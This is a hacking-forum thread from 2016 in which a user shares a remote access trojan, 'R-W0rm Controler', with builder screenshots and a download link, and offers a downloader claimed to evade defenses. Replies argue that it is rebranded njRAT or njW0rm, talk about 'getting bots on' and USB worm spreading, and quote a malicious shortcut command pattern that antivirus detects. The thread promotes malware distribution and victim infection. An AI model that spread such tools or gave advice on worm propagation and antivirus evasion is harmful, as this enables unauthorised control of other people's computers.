Oct 7, 2016 07:03 PM
(This post was last modified: Oct 7, 2016 07:04 PM by Autist.)
I was browsing on an Arabic forum (for those wondering yes i do speak Arabic)
As i was browsing the Arabic forum I came across a Newly Developed RAT called R-W0rm Controler.
Here are some screen shots of the RAT
Panel No Connection
![[Image: 57115cbaf39bae040c58bb914ba7eca6.png]](https://i.gyazo.com/57115cbaf39bae040c58bb914ba7eca6.png)
The Builder
![[Image: 208f8291a7c319f763ce2c2a2bbc2149.png]](https://i.gyazo.com/208f8291a7c319f763ce2c2a2bbc2149.png)
Download Link: http://up.dev-point.com/download287595.html
Malware Analysis: https://malwr.com/analysis/ZDE1MWVmMTJiN...AzMDIzNTQ/
Yes files are secure I have tested them, tested every way i could.
Creators of the RAT: https://www.dev-point.com/vb/threads/649284/ (if you cant read the arabic translate it)
Please don't be a lecher, thanks and enjoy!
NJRat looks like it got a language port. woo
(Oct 7, 2016 07:09 PM)Alison Wonderland Wrote: NJRat looks like it got a language port. woo
XD nah its written from scratch way better.
I made a Down loader that bypasses proactive defenses, idk if i should sell it or release it free as it has potential. let me know what you guys think!
(Oct 7, 2016 07:14 PM)Autist Wrote: XD nah its written from scratch way better.
I made a Down loader that bypasses proactive defenses, idk if i should sell it or release it free as it has potential. let me know what you guys think!
XD nah its NJrat.
please leave
(Oct 7, 2016 07:17 PM)Alison Wonderland Wrote: XD nah its NJrat.
please leave
XD okay, thank you for your comment XD
DO NOT DEAL WITH THIS MEMBER
Looks like njw0rm or similar.
DO NOT DEAL WITH THIS MEMBER
I do speak Arabic. This doesnt seem really legit, It looks like njRAT
(Oct 8, 2016 03:04 AM)imghostin Wrote: I do speak Arabic. This doesnt seem really legit, It looks like njRAT
It's might but it's actually pretty good for getting bots on and executing your im4 or ll so your file dosent get reported
Oct 8, 2016 06:12 AM
(This post was last modified: Oct 8, 2016 06:12 AM by bzrΚ.)
Vengeance vs njRAT
![[Image: jtg9MeD.png]](https://i.imgur.com/jtg9MeD.png)
I get what people are saying, but they are for sure different.
OP I will look at this soon. Thanks for the share.
DO NOT DEAL WITH THIS MEMBER
Hey Op I have seen this on dev-point myself and tested it a little. I would have shared it myself back in the past so good on you....
Tell me, how much use is a usb worm these days though? Are they very effective at all as I wouldn't expect so?
i know the coder of this worm and he is HQ coder
(Oct 8, 2016 11:45 AM)VirtualMon3y Wrote: Hey Op I have seen this on dev-point myself and tested it a little. I would have shared it myself back in the past so good on you....
Tell me, how much use is a usb worm these days though? Are they very effective at all as I wouldn't expect so?
You would be surprised, USB spreading is still effective as many many people still use USB
(Oct 8, 2016 11:59 AM)Autist Wrote: You would be surprised, USB spreading is still effective as many many people still use USB
No Shit Sherlock.
it based on njworm same source code moded
just reflect it and you well see ...
DO NOT DEAL WITH THIS MEMBER
Dec 23, 2016 11:24 PM
(This post was last modified: Dec 23, 2016 11:27 PM by JoshuTee.)
This looks exactly like njW0rm.
Shortcut USB spreading isn't going to work in many cases because the av gets suspicious when it finds lnk files in the style of "CMD /c start doc.txt&start ufdruhfr.Wsf"
|
![[Image: 2f4032b5f1170bc8fedd7e367c680327.png]](https://i.gyazo.com/2f4032b5f1170bc8fedd7e367c680327.png)
![[Image: signature.png]](https://altpocket.io/altpocket/signature.png)
![[Image: saddsadsaddsadsa.png]](https://cdn.discordapp.com/attachments/515615465360326664/516397543991803906/saddsadsaddsadsa.png)
